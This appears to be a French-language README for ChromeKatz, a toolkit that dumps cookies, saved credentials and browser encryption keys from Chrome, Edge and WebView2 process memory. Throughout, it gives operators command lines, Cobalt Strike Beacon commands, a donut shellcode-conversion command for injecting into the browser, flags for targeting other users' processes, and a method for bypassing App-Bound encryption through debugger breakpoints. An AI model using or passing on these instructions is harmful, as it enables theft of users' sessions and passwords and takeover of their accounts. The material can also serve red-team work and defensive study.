
Extraire les cookies et identifiants directement depuis la mémoire des processus Chrome/Edge
ChromeKatz est une solution pour extraire des informations sensibles depuis la mémoire des navigateurs basés sur Chromium. Pour l'instant, ChromeKatz se compose de trois projets :
CookieKatz dispose d'un exe, d'un Beacon Object File et d'un parseur de minidump, et ElevationKatz d'un exécutable et d'un Beacon Object File.
ElevationKatz est désormais capable de parser les bases de données de cookies et d'identifiants depuis la mémoire du navigateur et de les déchiffrer pour vous.
CookieKatz a été entièrement repensé pour utiliser une méthode bien plus robuste pour trouver les cookies ! La nouvelle méthode prend également en charge les versions plus anciennes du navigateur. Un nouveau flag /inject a été implémenté dans CookieKatz pour contourner le chiffrement App-Bound sur les navigateurs concernés !
J'ai besoin d'un café, et mes chats aussi !
CookieKatz est un projet qui permet aux opérateurs de dumper les cookies de Chrome, Edge ou Msedgewebview2 directement depuis la mémoire du processus. Les navigateurs basés sur Chromium chargent tous leurs cookies depuis la base de données de cookies sur disque au démarrage.
Les avantages de cette approche sont* :
Ces affirmations restent vraies pour certains navigateurs/applications. Pour les dernières versions de Chrome, vous devrez injecter dans le processus. ... Ou utilisez ElevationKatz
Les installations de navigateur 32 bits ne sont pas prises en charge et les builds 32 bits de CookieKatz ne le sont pas non plus.
Actuellement, seuls les cookies standard sont dumpés. Chromium stocke les cookies partitionnés à un endroit différent et ils ne sont actuellement pas inclus dans le dump.
Cette solution se compose de trois projets : CookieKatz qui est un exécutable PE, CookieKatz-BOF qui est une version Beacon Object File et CookieKatzMinidump qui est le parseur de minidump.
REMARQUE ! Lorsque vous choisissez d'utiliser un PID comme cible, utilisez respectivement les commandes /list ou cookie-katz-find pour sélectionner le bon sous-processus !
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
ElevationKatz permet aux opérateurs de dumper la clé de chiffrement du profil du navigateur depuis la mémoire afin de permettre l'accès aux informations sensibles de l'utilisateur. Cela fonctionne en démarrant un nouveau processus navigateur en pause, en définissant des points d'arrêt et en dumpant la clé une fois que le processus navigateur l'a reçue du service d'élévation.
Les avantages de cette approche sont :
ElevationKatz démarre un nouveau processus navigateur à l'état suspendu et y attache un débogueur. Ensuite, il analyse la dll du navigateur pour trouver l'instruction où le navigateur revient de l'appel à os_crypt::DecryptAppBoundString et place un point d'arrêt immédiatement après. Une fois le point d'arrêt atteint, l'outil dumpe la clé de chiffrement depuis la mémoire.
L'opérateur peut choisir entre deux types de points d'arrêt : les points d'arrêt logiciels (Software) et matériels (Hardware).
De plus, pour les points d'arrêt HW, deux méthodes d'énumération des threads sont prises en charge : NtGetNextThread et CreateToolhelp32Snapshot. Les points d'arrêt SW n'ont pas besoin d'énumération des threads et le flag /tl32 ne les affecte donc pas.
Le nouveau paramètre config peut être utilisé pour déchiffrer automatiquement les bases de données de profil. Cela utilise la technique d'IHack4Falafel pour parser les bases de données Cookie et Login Profile depuis la mémoire du navigateur, en évitant de toucher directement aux fichiers.
Remarque : le dump ne fonctionne qu'avec les points d'arrêt HW car je n'ai pas trouvé comment nettoyer correctement les points d'arrêt SW et rembobiner RIP pour éviter que le processus ne plante.